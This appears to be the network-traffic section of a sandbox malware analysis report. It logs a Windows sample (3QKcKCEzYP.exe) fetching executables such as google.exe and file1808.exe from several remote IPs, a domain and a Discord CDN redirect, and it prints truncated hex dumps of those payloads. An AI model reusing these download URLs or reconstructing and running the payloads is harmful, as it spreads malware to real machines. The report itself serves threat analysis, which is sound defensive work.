Aug 21, 2024 08:32:14.343241930 CEST	1236	IN	Data Raw: 27 22 9e 6c af 42 13 28 16 13 29 1f 57 13 2a 1f 14 13 2b 1f 3e 13 2c 16 13 2d 22 d9 23 e0 41 13 2e 72 c3 16 00 70 13 2f 72 ff 16 00 70 13 30 22 82 a3 ad 42 13 31 22 23 d5 b1 42 13 32 06 2a 13 30 01 00 11 01 00 00 10 00 00 11 00 16 0a 72 65 17 00 Data Ascii: '"lB()W+>,-"#A.rp/rp0"B1"#B20rep"<x'Arprp]"jCB""BrprSp"fB"A1rprprKp*"<A"GB;rprp"xB
Aug 21, 2024 08:32:14.343252897 CEST	1236	IN	Data Raw: 11 72 1f 29 00 70 13 12 16 13 13 17 13 14 22 d6 9e 1b 42 13 15 22 86 e0 7a 42 13 16 1f 13 13 17 72 6b 29 00 70 13 18 17 13 19 1f 42 13 1a 22 33 81 aa 40 13 1b 22 7e b3 9c 41 13 1c 22 62 3e e9 41 13 1d 22 cc 57 8b 40 13 1e 22 3f 4f bb 42 13 1f 72 Data Ascii: r)p"B"zBrk)pB"3@"~A"b>A"W@"?OBr)p !"jB"rp#rOp$%"B&rp'()r%+pru+p+,"B-"B./0r+p1"mB2*0r),p^"SZQB
Aug 21, 2024 08:32:14.343349934 CEST	1236	IN	Data Raw: 17 13 2b 72 bf 39 00 70 13 2c 17 13 2d 16 13 2e 1f 52 13 2f 22 5b 1a a0 42 13 30 22 86 e8 56 42 13 31 2a 13 30 01 00 09 01 00 00 19 00 00 11 00 72 1b 3a 00 70 0b 22 00 f9 43 42 0c 72 8b 3a 00 70 0d 72 df 3a 00 70 13 04 1f 1e 13 05 72 0f 3b 00 70 Data Ascii: +r9p,-.R/"[B0"VB10r:p"CBr:pr:pr;p"NWA?ru;p]"/B"`Br;pr<p"+rBr[<pr<pr<pr<prS=pr=p"B@ !""2lB#$r%>
Aug 21, 2024 08:32:14.343363047 CEST	1236	IN	Data Raw: d9 4e 00 70 13 0e 22 e8 f6 72 42 13 0f 22 be 91 aa 42 13 10 72 07 4f 00 70 13 11 22 74 c7 c5 40 13 12 72 63 4f 00 70 13 13 72 c5 4f 00 70 13 14 16 13 15 17 13 16 1f 4d 13 17 72 f7 4f 00 70 13 18 22 4b 15 9d 42 13 19 72 2b 50 00 70 13 1a 72 83 50 Data Ascii: Np"rB"BrOp"t@rcOprOpMrOp"KBr+PprPpV"'A"ArPp V!"r5Qp#rQp$rQp%rKRp&'"?(rRp)r#Spa+rSp,b-rSp."B/"B0E1rSp20"yB
Aug 21, 2024 08:32:14.343373060 CEST	1236	IN	Data Raw: 13 1c 72 83 63 00 70 13 1d 72 b9 63 00 70 13 1e 1f 52 13 1f 22 3e 17 5e 42 13 20 22 53 af 90 41 13 21 72 19 64 00 70 13 22 22 9c 70 6c 41 13 23 1f 4c 13 24 22 bc da bb 42 13 25 72 47 64 00 70 13 26 72 bb 64 00 70 13 27 1f 4c 13 28 22 b4 6c 9a 42 Data Ascii: rcprcpR">^B "SA!rdp""plA#L$"B%rGdp&rdp'L("lB)r-ep+rsep,"EB-.rep/r'fp010"".BrSfp"AT"o@rfprgp"B"+f"Arogp"oBr
Aug 21, 2024 08:32:14.343384027 CEST	1236	IN	Data Raw: 17 0b 17 0c 72 19 78 00 70 0d 16 13 04 17 13 05 72 7f 78 00 70 13 06 1f 1f 13 07 22 8c 98 5c 42 13 08 1f 26 13 09 22 cc 08 15 42 13 0a 22 1e ae 4e 41 13 0b 72 e3 78 00 70 13 0c 1f 4c 13 0d 17 13 0e 72 41 79 00 70 13 0f 1f 22 13 10 16 13 11 22 1a Data Ascii: rxprxp"\B&"B"NArxpLrAyp""B";;BryprzpOrQzprzp"LAr{p"NB/ 9!"A"rc{p#%$r{p%&"'?'"dA(r)\|p)*"1[B+"di?,"B-
Aug 21, 2024 08:32:14.343396902 CEST	1236	IN	Data Raw: 2f 13 0f 72 af 8a 00 70 13 10 17 13 11 1f 0c 13 12 1f 13 13 13 1f 1d 13 14 22 ec 2f b1 41 13 15 72 fb 8a 00 70 13 16 16 13 17 1f 63 13 18 22 ad 73 9b 40 13 19 1d 13 1a 1b 13 1b 1f 4a 13 1c 16 13 1d 1f 39 13 1e 22 92 a4 b8 42 13 1f 1f 33 13 20 1f Data Ascii: /rp"/Arpc"s@J9"B3 U!"B"#>$%"x>&'"B()8+rop,rp-rp.S/K010+[:rwprprpr;pF"2BrpK
Aug 21, 2024 08:32:14.343457937 CEST	1236	IN	Data Raw: 70 13 04 72 a3 99 00 70 13 05 1f 2c 13 06 17 13 07 17 13 08 16 13 09 16 13 0a 1f 3f 13 0b 22 3f 33 38 41 13 0c 1f 57 13 0d 1f 1c 13 0e 16 13 0f 22 f4 57 17 40 13 10 1f 3d 13 11 1f 4b 13 12 1f 2f 13 13 17 13 14 22 a1 e4 fe 41 13 15 17 13 16 17 13 Data Ascii: prp,?"?38AW"W@=K/"ArprCproprp"xBrp "?B!rgp"#&$rp%rp&'"XI[A("B)r}p+,rp-`.r1p/rep0M1"A20
Aug 21, 2024 08:32:16.800905943 CEST	224	OUT	GET /prog/66c3721bc46fe_Ernrnmkio.exe#14 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Aug 21, 2024 08:32:16.987205029 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 21 Aug 2024 06:32:16 GMT Content-Type: application/octet-stream Content-Length: 999936 Last-Modified: Mon, 19 Aug 2024 16:26:03 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66c3721b-f4200" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 40 46 c3 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 08 00 00 38 0f 00 00 08 00 00 00 00 00 00 de 56 0f 00 00 20 00 00 00 00 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 a0 0f 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 8c 56 0f 00 4f 00 00 00 00 60 0f 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 0f 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL@Ff8V @ `VO` H.text6 8 `.rsrc`:@@.reloc@@BVH{l0(*(0s\|(,/\| X(}\|((o}\|{o,I\|{os(+,$(+o 0( o&(08(s (( ((ossioo,o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49720	147.45.44.104	80	4032	C:\Users\user\Desktop\3QKcKCEzYP.exe

Timestamp	Bytes transferred	Direction	Data
Aug 21, 2024 08:32:13.041006088 CEST	229	OUT	HEAD /prog/66c1c5838f95f_file1808.exe#fileotr HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Aug 21, 2024 08:32:13.664627075 CEST	309	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 21 Aug 2024 06:32:13 GMT Content-Type: application/octet-stream Content-Length: 795648 Last-Modified: Sun, 18 Aug 2024 09:57:23 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66c1c583-c2400" X-Content-Type-Options: nosniff Accept-Ranges: bytes
Aug 21, 2024 08:32:13.665025949 CEST	219	OUT	HEAD /prog/66c2d861a5b4d_google.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Aug 21, 2024 08:32:13.848830938 CEST	312	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 21 Aug 2024 06:32:13 GMT Content-Type: application/octet-stream Content-Length: 11083776 Last-Modified: Mon, 19 Aug 2024 05:30:09 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66c2d861-a92000" X-Content-Type-Options: nosniff Accept-Ranges: bytes
Aug 21, 2024 08:32:13.849404097 CEST	228	OUT	GET /prog/66c1c5838f95f_file1808.exe#fileotr HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Aug 21, 2024 08:32:14.033457994 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 21 Aug 2024 06:32:13 GMT Content-Type: application/octet-stream Content-Length: 795648 Last-Modified: Sun, 18 Aug 2024 09:57:23 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66c1c583-c2400" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 98 e1 fc bd dc 80 92 ee dc 80 92 ee dc 80 92 ee c2 d2 16 ee c7 80 92 ee c2 d2 07 ee cc 80 92 ee c2 d2 11 ee 96 80 92 ee fb 46 e9 ee d9 80 92 ee dc 80 93 ee b6 80 92 ee c2 d2 18 ee dd 80 92 ee c2 d2 06 ee dd 80 92 ee c2 d2 03 ee dd 80 92 ee 52 69 63 68 dc 80 92 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 0a 92 0e 65 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 40 0a 00 00 e0 02 00 00 00 00 00 7e 17 00 00 00 10 00 00 00 50 0a 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 30 0d 00 00 04 00 00 a0 65 0c 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$FRichPELe@~P@0ef<c@Ph.text?@ `.rdataLP D@@.datapd@.rsrc@@
Aug 21, 2024 08:32:14.033505917 CEST	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: %0PJ;pJusjhcJgutu=nKuCjWYeVYEtVPYYE}u7ujCYVj5tJ
Aug 21, 2024 08:32:14.033515930 CEST	1236	IN	Data Raw: 94 50 4a 00 85 c0 75 16 e8 44 08 00 00 8b f0 ff 15 54 50 4a 00 50 e8 f4 07 00 00 89 06 59 e8 2b 15 00 00 c3 8b ff 55 8b ec 51 83 65 fc 00 56 8d 45 fc 50 ff 75 0c ff 75 08 e8 bf 16 00 00 8b f0 83 c4 0c 85 f6 75 18 39 45 fc 74 13 e8 00 08 00 00 85 Data Ascii: PJuDTPJPY+UQeVEPuuu9EttM^jhcJeu;5nKw"jYeVYEEEjYUVuSW=PJ=tJu#jqhYYnK
Aug 21, 2024 08:32:14.033567905 CEST	1236	IN	Data Raw: 53 6a 09 ff 70 04 ff 15 9c 50 4a 00 85 c0 0f 84 34 ff ff ff 8b 45 08 85 c0 0f 84 cb fe ff ff 89 38 e9 c4 fe ff ff 8b 45 08 3b c1 74 02 89 08 33 c0 5f c9 c3 8b ff 55 8b ec 51 83 4d fc ff 8b 45 14 53 8b 5d 0c 56 85 db 74 13 85 c0 75 05 b8 40 84 4a Data Ascii: SjpPJ4E8E;t3_UQMES]Vtu@Jujuu@JjjQJ3MQE^[U=LJuuh"YY]jXhcJ\|3uEPPJj_}MZf9@u8<@@PEu'f
Aug 21, 2024 08:32:14.033580065 CEST	1236	IN	Data Raw: 0c 00 00 00 33 c0 eb 51 6a 0a e8 59 00 00 00 59 89 5d fc 39 1e 75 2c 68 a0 0f 00 00 57 e8 81 32 00 00 59 59 85 c0 75 17 57 e8 c0 f5 ff ff 59 e8 75 fe ff ff c7 00 0c 00 00 00 89 5d e4 eb 0b 89 3e eb 07 57 e8 a5 f5 ff ff 59 c7 45 fc fe ff ff ff e8 Data Ascii: 3QjYY]9u,hW2YYuWYu]>WYEEHj(YUEV4qJ>uP"YujY6PJ^]U\|nKnKkU+Pr;r3]UMAVuW+yi
Aug 21, 2024 08:32:14.033590078 CEST	1236	IN	Data Raw: 68 00 10 00 00 c1 e7 0f 03 79 0c 68 00 80 00 00 57 ff 15 d0 50 4a 00 85 c0 75 08 83 c8 ff e9 9d 00 00 00 8d 97 00 70 00 00 89 55 fc 3b fa 77 43 8b ca 2b cf c1 e9 0c 8d 47 10 41 83 48 f8 ff 83 88 ec 0f 00 00 ff 8d 90 fc 0f 00 00 89 10 8d 90 fc ef Data Ascii: hyhWPJupU;wC+GAH@PIuUEOHAJHAdD3GFCENCux!P_^[UMASVuW}+QiD
Aug 21, 2024 08:32:14.033600092 CEST	1236	IN	Data Raw: 91 84 00 00 00 83 c1 04 eb e7 8b 55 fc 8b ca 69 c9 04 02 00 00 8d 8c 01 44 01 00 00 89 4d f4 8b 4c 90 44 33 ff 23 ce 75 12 8b 8c 90 c4 00 00 00 23 4d f8 6a 20 5f eb 03 03 c9 47 85 c9 7d f9 8b 4d f4 8b 54 f9 04 8b 0a 2b 4d f0 8b f1 c1 fe 04 4e 83 Data Ascii: UiDMLD3#u#Mj _G}MT+MN?M~j?^;J;Ju\ }&M\|8]#\D\Du3M]!,OM\|8!]u]M!K]}JzyJzyMyJz
Aug 21, 2024 08:32:14.033703089 CEST	1236	IN	Data Raw: 00 00 57 ff 15 d8 50 4a 00 ff 75 08 ff 15 1c 50 4a 00 81 c7 e8 03 00 00 81 ff 60 ea 00 00 77 04 85 c0 74 de 5f 5d c3 8b ff 55 8b ec e8 a9 04 00 00 ff 75 08 e8 f6 02 00 00 ff 35 a8 72 4a 00 e8 db 07 00 00 68 ff 00 00 00 ff d0 83 c4 0c 5d c3 8b ff Data Ascii: WPJuPJ`wt_]Uu5rJh]UhQJPJthQJPXPJtu]UuYuPJjRYjoYUVt;ur^]UVu3ut;ur^]U=pnKt
Aug 21, 2024 08:32:14.033714056 CEST	1236	IN	Data Raw: 00 5f 5e 5b c9 c3 6a 03 e8 5f 2c 00 00 59 83 f8 01 74 15 6a 03 e8 52 2c 00 00 59 85 c0 75 1f 83 3d 00 70 4a 00 01 75 16 68 fc 00 00 00 e8 29 fe ff ff 68 ff 00 00 00 e8 1f fe ff ff 59 59 c3 8b ff 55 8b ec 8b 45 08 a3 14 8c 4a 00 5d c3 8b ff 55 8b Data Ascii: _^[j_,YtjR,Yu=pJuh)hYYUEJ]U5JYtuYt3@]3]UVWuMYEu3;t0;u,WWWWW}tE`p39}t}\|}$MS}~~EP
Aug 21, 2024 08:32:14.033725023 CEST	1236	IN	Data Raw: ff 59 89 7d fc 8b 45 0c 89 46 6c 85 c0 75 08 a1 78 79 4a 00 89 46 6c ff 76 6c e8 28 0d 00 00 59 c7 45 fc fe ff ff ff e8 15 00 00 00 e8 51 f3 ff ff c3 33 ff 47 8b 75 08 6a 0d e8 2b e7 ff ff 59 c3 6a 0c e8 22 e7 ff ff 59 c3 8b ff 56 57 ff 15 54 50 Data Ascii: Y}EFluxyJFlvl(YEQ3Guj+Yj"YVWTPJ5hsJuNhjiYYt:V5hsJ5$JYtjVYYQJNVY3WQJ_^VujY^jhdJTu
Aug 21, 2024 08:32:14.034460068 CEST	1236	IN	Data Raw: 73 fc 83 ee 09 89 75 e4 eb 03 8b 75 e4 c7 45 fc fe ff ff ff e8 25 00 00 00 39 7d e0 75 10 53 57 ff 35 74 87 4a 00 ff 15 08 51 4a 00 8b f0 8b c6 e8 79 ee ff ff c3 33 ff 8b 5d 08 8b 75 e4 6a 04 e8 51 e2 ff ff 59 c3 2d a4 03 00 00 74 22 83 e8 04 74 Data Ascii: suuE%9}uSW5tJQJy3]ujQY-t"ttHt3VWh3FWP3~~~~psJF+@Ou@Nu_^UpJ3ESW
Aug 21, 2024 08:32:14.893008947 CEST	218	OUT	GET /prog/66c2d861a5b4d_google.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Aug 21, 2024 08:32:15.083365917 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 21 Aug 2024 06:32:14 GMT Content-Type: application/octet-stream Content-Length: 11083776 Last-Modified: Mon, 19 Aug 2024 05:30:09 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66c2d861-a92000" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 64 86 0a 00 7f d7 c2 66 00 00 00 00 00 00 00 00 f0 00 23 00 0b 02 0e 00 00 82 00 00 00 06 cd 00 00 00 00 00 cd 1c 7e 01 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 9e 01 00 04 00 00 00 00 00 00 02 00 20 81 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 ad 87 01 3c 00 00 00 00 f0 9a 01 d0 04 03 00 40 b8 9a 01 60 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 a3 7c 01 28 00 00 00 00 b7 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEdf#~@ <@`*\|(8 .textV `.rdata@@.data@.pdata@@.00cfg@@.tls@.text0t) `.text1X@.text2`h.rsrc@@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49721	194.58.114.223	80	4032	C:\Users\user\Desktop\3QKcKCEzYP.exe

Timestamp	Bytes transferred	Direction	Data
Aug 21, 2024 08:32:13.045770884 CEST	199	OUT	HEAD /d/525403 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 194.58.114.223 Cache-Control: no-cache
Aug 21, 2024 08:32:13.716730118 CEST	356	IN	HTTP/1.1 302 Found Server: nginx Date: Wed, 21 Aug 2024 06:32:13 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive Keep-Alive: timeout=120 Location: https://cdn.discordapp.com/attachments/1272461485628719179/1275658810836389929/setup.exe?ex=66c6b159&is=66c55fd9&hm=06dccc1459e975128b6048bb7dc7f7716e473fbfda4829e75986eb59000ab6b0&
Aug 21, 2024 08:32:14.411696911 CEST	198	OUT	GET /d/525403 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 194.58.114.223 Cache-Control: no-cache
Aug 21, 2024 08:32:14.621186972 CEST	1236	IN	HTTP/1.1 302 Found Server: nginx Date: Wed, 21 Aug 2024 06:32:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=120 Location: https://cdn.discordapp.com/attachments/1272461485628719179/1275658810836389929/setup.exe?ex=66c6b159&is=66c55fd9&hm=06dccc1459e975128b6048bb7dc7f7716e473fbfda4829e75986eb59000ab6b0& Data Raw: 34 35 36 0d 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 72 65 66 65 72 72 65 72 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 52 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 20 55 52 4c 3d 27 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 64 69 73 63 6f 72 64 61 70 70 2e 63 6f 6d 2f 61 74 74 61 63 68 6d 65 6e 74 73 2f 31 32 37 32 34 36 31 34 38 35 36 32 38 37 31 39 31 37 39 2f 31 32 37 35 36 35 38 38 31 30 38 33 36 33 38 39 39 32 39 2f 73 65 74 75 70 2e 65 78 65 3f 65 78 3d 36 36 63 36 62 31 35 39 26 69 73 3d 36 36 63 35 35 66 64 39 26 68 6d 3d 30 36 64 63 63 63 31 34 35 39 65 39 37 35 31 32 38 62 36 30 34 38 62 62 37 64 63 37 66 37 37 31 36 65 34 37 33 66 62 66 64 61 34 38 32 39 65 37 35 39 38 36 65 62 35 39 30 30 30 61 62 36 62 30 26 27 22 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 [TRUNCATED] Data Ascii: 456<html> <head> <meta name="referrer" content="no-referrer"> <meta http-equiv="Refresh" content="0; URL='https://cdn.discordapp.com/attachments/1272461485628719179/1275658810836389929/setup.exe?ex=66c6b159&is=66c55fd9&hm=06dccc1459e975128b6048bb7dc7f7716e473fbfda4829e75986eb59000ab6b0&'"> <script> window.location.href="https://cdn.discordapp.com/attachments/1272461485628719179/1275658810836389929/setup.exe?ex=66c6b159&is=66c55fd9&hm=06dccc1459e975128b6048bb7dc7f7716e473fbfda4829e75986eb59000ab6b0&"; </script> </head> <body> <a href="https://cdn.discordapp.com/attachments/1272461485628719179/1275658810836389929/setup.exe?ex=66c6b159&is=66c55fd9&hm=06dccc1459e975128b6048bb7dc7f7716e473fbfda4829e75986eb59000ab6b0&" referrerPolicy="no-referrer" rel="noreferrer">click here</a>
Aug 21, 2024 08:32:14.621191978 CEST	270	IN	Data Raw: 20 20 20 20 20 20 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 65 6c 66 2e 6c 6f 63 61 74 69 6f 6e 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 64 69 73 63 6f 72 64 61 70 70 2e 63 6f 6d 2f 61 74 74 61 63 68 6d 65 6e 74 73 2f 31 Data Ascii: <script> self.location="https://cdn.discordapp.com/attachments/1272461485628719179/1275658810836389929/setup.exe?ex=66c6b159&is=66c55fd9&hm=06dccc1459e975128b6048bb7dc7f7716e473fbfda4829e75986eb59000ab6b0&"; </script>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49722	162.241.203.25	80	4032	C:\Users\user\Desktop\3QKcKCEzYP.exe

Timestamp	Bytes transferred	Direction	Data
Aug 21, 2024 08:32:13.251662016 CEST	212	OUT	HEAD /StyleControls%20VCL.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: mcrogers.com Cache-Control: no-cache
Aug 21, 2024 08:32:13.735865116 CEST	243	IN	HTTP/1.1 200 OK Date: Wed, 21 Aug 2024 06:32:13 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade Last-Modified: Mon, 19 Aug 2024 07:28:19 GMT Accept-Ranges: bytes Content-Length: 8533504 Content-Type: application/x-msdownload
Aug 21, 2024 08:32:13.736366987 CEST	211	OUT	GET /StyleControls%20VCL.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: mcrogers.com Cache-Control: no-cache
Aug 21, 2024 08:32:13.855660915 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 21 Aug 2024 06:32:13 GMT Server: Apache Last-Modified: Mon, 19 Aug 2024 07:28:19 GMT Accept-Ranges: bytes Content-Length: 8533504 Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 2e 02 0b 02 02 24 00 14 3a 00 00 32 82 00 00 e8 05 00 c0 14 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 a0 88 00 00 04 00 00 f0 7d 82 00 02 00 60 81 00 00 20 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 20 87 00 4e 00 00 00 00 30 87 00 d0 13 00 00 00 70 87 00 99 05 00 00 00 a0 7f 00 74 72 01 00 00 00 00 00 00 00 00 00 00 80 87 00 28 1e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 85 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEd.$:2@}` N0ptr((\|4@.text::```.data0::@`.rdata0C@P?D@0?@`@.pdatatrtt@0@.xdataD @0@.bss0`.edataN @0@.idata0@0.CRTpP@@.tls`@@.rsrcp@0.reloc( @0B [TRUNCATED]
Aug 21, 2024 08:32:13.855715036 CEST	1236	IN	Data Raw: 00 00 00 00 00 0f 1f 40 00 48 83 ec 28 48 8b 05 a5 7b 7f 00 31 c9 c7 00 01 00 00 00 48 8b 05 a6 7b 7f 00 c7 00 01 00 00 00 48 8b 05 a9 7b 7f 00 c7 00 01 00 00 00 48 8b 05 6c 7b 7f 00 c7 00 01 00 00 00 48 8b 05 0f 7a 7f 00 66 81 38 4d 5a 75 0f 48 Data Ascii: @H(H{1H{H{Hl{Hzf8MZuHcP<H8PEtiH2{tF::Hzg:Hzw\9H`y8tS1H(@:@PftEfux1
Aug 21, 2024 08:32:13.855726004 CEST	1236	IN	Data Raw: 28 c3 0f 1f 00 48 83 ec 28 48 8b 05 b5 76 7f 00 c7 00 00 00 00 00 e8 9a fc ff ff 90 90 48 83 c4 28 c3 0f 1f 00 48 83 ec 28 e8 27 06 3a 00 48 85 c0 0f 94 c0 0f b6 c0 f7 d8 48 83 c4 28 c3 90 90 90 90 90 90 90 48 8d 0d 09 00 00 00 e9 d4 ff ff ff 0f Data Ascii: (H(HvH(H(':HH(H@ Go build ID: "DVTjSquUHI2B9G1elXPf/7-mC7y7qvJDvWbL8uFlB/odL8BEVarJqOlQG8hiuk/QvF-g8gxqZZFAi_mN4W0" L$@M;f
Aug 21, 2024 08:32:13.860392094 CEST	1236	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 48 89 e5 48 83 ec 10 48 8b 0d 89 96 3d 00 48 8b 15 7a 96 3d 00 48 39 c8 7d 18 73 32 48 c1 e0 04 48 8b 0c 02 48 8b 5c 02 08 48 89 c8 48 83 c4 10 5d c3 48 85 c9 76 0d 48 8b 02 48 8b 5a 08 48 83 Data Ascii: UHHH=Hz=H9}s2HHH\HH]HvHHZH]1H@HHxH
